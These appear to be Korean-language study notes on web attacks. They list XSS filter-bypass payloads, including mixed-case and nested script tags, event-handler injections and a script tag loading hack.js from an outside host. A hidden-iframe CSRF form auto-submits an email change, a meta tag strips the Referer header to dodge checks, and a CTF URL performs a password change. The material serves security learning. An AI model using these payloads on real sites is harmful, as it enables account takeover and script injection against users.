Client side 검증 우회: javascript로 검증.
-> Burp Suite(프록시 툴)로 쉽게 뚫림.
Script Load
", ' , alert function
<script src=http://myhome.com/hack.js></script>
<script> -> <ScRipt>
<script> - > <scrscriptipt>
<img src=x onerror="alert(1)">
- onactivate
- onload
<svg>
...
HTML
<audio src = "http://example" onplay="" autoplay = "" >
참고: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
<img src= ><img src= >
step 2. White List 기반으로 살려줄(허용해줄) 태그를 살려줌.<img src= >
step 3. Black List 기반으로 event Handler 필터링http://ctf.segfaulthub.com:8989/xvwa/vulnerabilities/csrf/?passwd=2222&confirm=2222&submit=submit
왜 활용해야 할까?
<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe" style="display: none;"></iframe>
<form method="POST" action="https://csrf.net/my-account/change-email" target="stealthframe">
<input type="hidden" name="email" value="normal@test.com"> </form>
<script> document.forms[0].submit(); </script>
<form method = "POST">
<input>
</form>
비밀번호 변경 요청
if referer 헤더가 있으면
-> 검사시작
->
else
-> 보안으로 볼때는 차단하는게 맞지만, 개발 입장에서는 그냥 고!
<meta name = "referrer" content="no-referrer">
위와 같은 코드를 넣어 Referer Check를 할 수 없게 헤더를 뺀다.
<iframe src = >
<script>
-> iframe에 존재하는 토큰을 가져오면 됨.
</script>